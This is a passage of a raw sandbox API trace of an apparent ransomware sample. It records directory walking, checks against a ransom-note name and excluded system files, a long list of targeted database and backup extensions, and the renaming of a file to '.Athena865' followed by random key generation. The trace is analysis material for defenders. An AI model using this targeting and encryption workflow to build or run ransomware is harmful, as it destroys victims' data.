0x530d20 [0110.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.133] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.133] CloseHandle (hObject=0x17c) returned 1 [0110.133] CloseHandle (hObject=0x154) returned 1 [0110.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.134] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".") returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="..") returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="windows") returned -1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="bootmgr") returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="temp") returned -1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="pagefile.sys") returned -1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="boot") returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="ids.txt") returned 1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="ntuser.dat") returned -1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="perflogs") returned -1 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="MSBuild") returned -1 [0110.134] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22 [0110.134] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IpsMigrationPlugin.dll" | out: lpString1="IpsMigrationPlugin.dll") returned="IpsMigrationPlugin.dll" [0110.134] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22 [0110.134] lstrlenW (lpString="Athena865") returned 9 [0110.134] lstrcmpiW (lpString1="lugin.dll", lpString2="Athena865") returned 1 [0110.134] lstrlenW (lpString=".dll") returned 4 [0110.134] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".dll") returned 1 [0110.134] lstrlenW (lpString=".lnk") returned 4 [0110.135] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".lnk") returned 1 [0110.135] lstrlenW (lpString=".ini") returned 4 [0110.135] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".ini") returned 1 [0110.135] lstrlenW (lpString=".sys") returned 4 [0110.135] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".sys") returned 1 [0110.135] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22 [0110.135] lstrlenW (lpString="bak") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.135] lstrlenW (lpString="ba_") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.135] lstrlenW (lpString="dbb") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.135] lstrlenW (lpString="vmdk") returned 4 [0110.135] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.135] lstrlenW (lpString="rar") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.135] lstrlenW (lpString="zip") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.135] lstrlenW (lpString="tgz") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.135] lstrlenW (lpString="vbox") returned 4 [0110.135] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.135] lstrlenW (lpString="vdi") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.135] lstrlenW (lpString="vhd") returned 3 [0110.135] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.135] lstrlenW (lpString="vhdx") returned 4 [0110.135] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.135] lstrlenW (lpString="avhd") returned 4 [0110.136] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.136] lstrlenW (lpString="db") returned 2 [0110.136] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.136] lstrlenW (lpString="db2") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.136] lstrlenW (lpString="db3") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.136] lstrlenW (lpString="dbf") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.136] lstrlenW (lpString="mdf") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.136] lstrlenW (lpString="mdb") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.136] lstrlenW (lpString="sql") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.136] lstrlenW (lpString="sqlite") returned 6 [0110.136] lstrcmpiW (lpString1="in.dll", lpString2="sqlite") returned -1 [0110.136] lstrlenW (lpString="sqlite3") returned 7 [0110.136] lstrcmpiW (lpString1="gin.dll", lpString2="sqlite3") returned -1 [0110.136] lstrlenW (lpString="sqlitedb") returned 8 [0110.136] lstrcmpiW (lpString1="ugin.dll", lpString2="sqlitedb") returned 1 [0110.136] lstrlenW (lpString="xml") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.136] lstrlenW (lpString="$er") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.136] lstrlenW (lpString="4dd") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.136] lstrlenW (lpString="4dl") returned 3 [0110.136] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.137] lstrlenW (lpString="^^^") returned 3 [0110.137] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.137] lstrlenW (lpString="abs") returned 3 [0110.137] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.137] lstrlenW (lpString="abx") returned 3 [0110.137] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.137] lstrlenW (lpString="accdb") returned 5 [0110.137] lstrcmpiW (lpString1="n.dll", lpString2="accdb") returned 1 [0110.137] lstrlenW (lpString="accdc") returned 5 [0110.137] lstrcmpiW (lpString1="n.dll", lpString2="accdc") returned 1 [0110.137] lstrlenW (lpString="accde") returned 5 [0110.137] lstrcmpiW (lpString1="n.dll", lpString2="accde") returned 1 [0110.137] lstrlenW (lpString="accdr") returned 5 [0110.137] lstrcmpiW (lpString1="n.dll", lpString2="accdr") returned 1 [0110.137] lstrlenW (lpString="accdt") returned 5 [0110.137] lstrcmpiW (lpString1="n.dll", lpString2="accdt") returned 1 [0110.137] lstrlenW (lpString="accdw") returned 5 [0110.137] lstrcmpiW (lpString1="n.dll", lpString2="accdw") returned 1 [0110.137] lstrlenW (lpString="accft") returned 5 [0110.137] lstrcmpiW (lpString1="n.dll", lpString2="accft") returned 1 [0110.137] lstrlenW (lpString="adb") returned 3 [0110.137] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.137] lstrlenW (lpString="adb") returned 3 [0110.137] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.137] lstrlenW (lpString="ade") returned 3 [0110.137] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.137] lstrlenW (lpString="adf") returned 3 [0110.137] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.137] lstrlenW (lpString="adn") returned 3 [0110.138] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.138] lstrlenW (lpString="adp") returned 3 [0110.138] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.138] lstrlenW (lpString="alf") returned 3 [0110.138] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.138] lstrlenW (lpString="ask") returned 3 [0110.138] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.138] lstrlenW (lpString="btr") returned 3 [0110.138] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.138] lstrlenW (lpString="cat") returned 3 [0110.140] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.140] lstrlenW (lpString="cdb") returned 3 [0110.140] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.140] lstrlenW (lpString="ckp") returned 3 [0110.140] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.140] lstrlenW (lpString="cma") returned 3 [0110.140] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.140] lstrlenW (lpString="cpd") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.141] lstrlenW (lpString="dacpac") returned 6 [0110.141] lstrcmpiW (lpString1="in.dll", lpString2="dacpac") returned 1 [0110.141] lstrlenW (lpString="dad") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.141] lstrlenW (lpString="dadiagrams") returned 10 [0110.141] lstrcmpiW (lpString1="Plugin.dll", lpString2="dadiagrams") returned 1 [0110.141] lstrlenW (lpString="daschema") returned 8 [0110.141] lstrcmpiW (lpString1="ugin.dll", lpString2="daschema") returned 1 [0110.141] lstrlenW (lpString="db-journal") returned 10 [0110.141] lstrcmpiW (lpString1="Plugin.dll", lpString2="db-journal") returned 1 [0110.141] lstrlenW (lpString="db-shm") returned 6 [0110.141] lstrcmpiW (lpString1="in.dll", lpString2="db-shm") returned 1 [0110.141] lstrlenW (lpString="db-wal") returned 6 [0110.141] lstrcmpiW (lpString1="in.dll", lpString2="db-wal") returned 1 [0110.141] lstrlenW (lpString="dbc") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.141] lstrlenW (lpString="dbs") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.141] lstrlenW (lpString="dbt") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.141] lstrlenW (lpString="dbv") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.141] lstrlenW (lpString="dbx") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.141] lstrlenW (lpString="dcb") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.141] lstrlenW (lpString="dct") returned 3 [0110.141] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.142] lstrlenW (lpString="dcx") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.142] lstrlenW (lpString="ddl") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0110.142] lstrlenW (lpString="dlis") returned 4 [0110.142] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0110.142] lstrlenW (lpString="dp1") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0110.142] lstrlenW (lpString="dqy") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0110.142] lstrlenW (lpString="dsk") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0110.142] lstrlenW (lpString="dsn") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0110.142] lstrlenW (lpString="dtsx") returned 4 [0110.142] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0110.142] lstrlenW (lpString="dxl") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0110.142] lstrlenW (lpString="eco") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0110.142] lstrlenW (lpString="ecx") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0110.142] lstrlenW (lpString="edb") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0110.142] lstrlenW (lpString="epim") returned 4 [0110.142] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0110.142] lstrlenW (lpString="fcd") returned 3 [0110.142] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0110.142] lstrlenW (lpString="fdb") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0110.143] lstrlenW (lpString="fic") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0110.143] lstrlenW (lpString="flexolibrary") returned 12 [0110.143] lstrcmpiW (lpString1="onPlugin.dll", lpString2="flexolibrary") returned 1 [0110.143] lstrlenW (lpString="fm5") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0110.143] lstrlenW (lpString="fmp") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0110.143] lstrlenW (lpString="fmp12") returned 5 [0110.143] lstrcmpiW (lpString1="n.dll", lpString2="fmp12") returned 1 [0110.143] lstrlenW (lpString="fmpsl") returned 5 [0110.143] lstrcmpiW (lpString1="n.dll", lpString2="fmpsl") returned 1 [0110.143] lstrlenW (lpString="fol") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0110.143] lstrlenW (lpString="fp3") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0110.143] lstrlenW (lpString="fp4") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0110.143] lstrlenW (lpString="fp5") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0110.143] lstrlenW (lpString="fp7") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0110.143] lstrlenW (lpString="fpt") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0110.143] lstrlenW (lpString="frm") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0110.143] lstrlenW (lpString="gdb") returned 3 [0110.143] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.144] lstrlenW (lpString="gdb") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.144] lstrlenW (lpString="grdb") returned 4 [0110.144] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0110.144] lstrlenW (lpString="gwi") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0110.144] lstrlenW (lpString="hdb") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0110.144] lstrlenW (lpString="his") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0110.144] lstrlenW (lpString="ib") returned 2 [0110.144] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0110.144] lstrlenW (lpString="idb") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0110.144] lstrlenW (lpString="ihx") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0110.144] lstrlenW (lpString="itdb") returned 4 [0110.144] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0110.144] lstrlenW (lpString="itw") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0110.144] lstrlenW (lpString="jet") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0110.144] lstrlenW (lpString="jtx") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0110.144] lstrlenW (lpString="kdb") returned 3 [0110.144] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0110.144] lstrlenW (lpString="kexi") returned 4 [0110.144] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0110.145] lstrlenW (lpString="kexic") returned 5 [0110.145] lstrcmpiW (lpString1="n.dll", lpString2="kexic") returned 1 [0110.145] lstrlenW (lpString="kexis") returned 5 [0110.145] lstrcmpiW (lpString1="n.dll", lpString2="kexis") returned 1 [0110.145] lstrlenW (lpString="lgc") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0110.145] lstrlenW (lpString="lwx") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0110.145] lstrlenW (lpString="maf") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0110.145] lstrlenW (lpString="maq") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0110.145] lstrlenW (lpString="mar") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0110.145] lstrlenW (lpString="marshal") returned 7 [0110.145] lstrcmpiW (lpString1="gin.dll", lpString2="marshal") returned -1 [0110.145] lstrlenW (lpString="mas") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0110.145] lstrlenW (lpString="mav") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0110.145] lstrlenW (lpString="maw") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0110.145] lstrlenW (lpString="mdbhtml") returned 7 [0110.145] lstrcmpiW (lpString1="gin.dll", lpString2="mdbhtml") returned -1 [0110.145] lstrlenW (lpString="mdn") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0110.145] lstrlenW (lpString="mdt") returned 3 [0110.145] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0110.146] lstrlenW (lpString="mfd") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0110.146] lstrlenW (lpString="mpd") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0110.146] lstrlenW (lpString="mrg") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0110.146] lstrlenW (lpString="mud") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0110.146] lstrlenW (lpString="mwb") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0110.146] lstrlenW (lpString="myd") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0110.146] lstrlenW (lpString="ndf") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0110.146] lstrlenW (lpString="nnt") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0110.146] lstrlenW (lpString="nrmlib") returned 6 [0110.146] lstrcmpiW (lpString1="in.dll", lpString2="nrmlib") returned -1 [0110.146] lstrlenW (lpString="ns2") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0110.146] lstrlenW (lpString="ns3") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0110.146] lstrlenW (lpString="ns4") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0110.146] lstrlenW (lpString="nsf") returned 3 [0110.146] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0110.146] lstrlenW (lpString="nv") returned 2 [0110.146] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0110.146] lstrlenW (lpString="nv2") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0110.147] lstrlenW (lpString="nwdb") returned 4 [0110.147] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0110.147] lstrlenW (lpString="nyf") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0110.147] lstrlenW (lpString="odb") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.147] lstrlenW (lpString="odb") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.147] lstrlenW (lpString="oqy") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0110.147] lstrlenW (lpString="ora") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0110.147] lstrlenW (lpString="orx") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0110.147] lstrlenW (lpString="owc") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0110.147] lstrlenW (lpString="p96") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0110.147] lstrlenW (lpString="p97") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0110.147] lstrlenW (lpString="pan") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0110.147] lstrlenW (lpString="pdb") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0110.147] lstrlenW (lpString="pdm") returned 3 [0110.147] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0110.147] lstrlenW (lpString="pnz") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0110.148] lstrlenW (lpString="qry") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0110.148] lstrlenW (lpString="qvd") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0110.148] lstrlenW (lpString="rbf") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0110.148] lstrlenW (lpString="rctd") returned 4 [0110.148] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0110.148] lstrlenW (lpString="rod") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0110.148] lstrlenW (lpString="rodx") returned 4 [0110.148] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0110.148] lstrlenW (lpString="rpd") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0110.148] lstrlenW (lpString="rsd") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0110.148] lstrlenW (lpString="sas7bdat") returned 8 [0110.148] lstrcmpiW (lpString1="ugin.dll", lpString2="sas7bdat") returned 1 [0110.148] lstrlenW (lpString="sbf") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0110.148] lstrlenW (lpString="scx") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0110.148] lstrlenW (lpString="sdb") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0110.148] lstrlenW (lpString="sdc") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0110.148] lstrlenW (lpString="sdf") returned 3 [0110.148] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0110.149] lstrlenW (lpString="sis") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0110.149] lstrlenW (lpString="spq") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0110.149] lstrlenW (lpString="te") returned 2 [0110.149] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0110.149] lstrlenW (lpString="teacher") returned 7 [0110.149] lstrcmpiW (lpString1="gin.dll", lpString2="teacher") returned -1 [0110.149] lstrlenW (lpString="tmd") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0110.149] lstrlenW (lpString="tps") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0110.149] lstrlenW (lpString="trc") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.149] lstrlenW (lpString="trc") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.149] lstrlenW (lpString="trm") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0110.149] lstrlenW (lpString="udb") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0110.149] lstrlenW (lpString="udl") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0110.149] lstrlenW (lpString="usr") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0110.149] lstrlenW (lpString="v12") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0110.149] lstrlenW (lpString="vis") returned 3 [0110.149] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0110.150] lstrlenW (lpString="vpd") returned 3 [0110.150] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0110.150] lstrlenW (lpString="vvv") returned 3 [0110.150] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0110.150] lstrlenW (lpString="wdb") returned 3 [0110.150] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0110.150] lstrlenW (lpString="wmdb") returned 4 [0110.150] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0110.150] lstrlenW (lpString="wrk") returned 3 [0110.150] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0110.150] lstrlenW (lpString="xdb") returned 3 [0110.150] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0110.150] lstrlenW (lpString="xld") returned 3 [0110.150] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0110.150] lstrlenW (lpString="xmlff") returned 5 [0110.150] lstrcmpiW (lpString1="n.dll", lpString2="xmlff") returned -1 [0110.150] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.Athena865") returned 83 [0110.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.athena865"), dwFlags=0x1) returned 1 [0110.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.152] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40960) returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.152] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.153] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.153] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.153] CreateFileMappingW 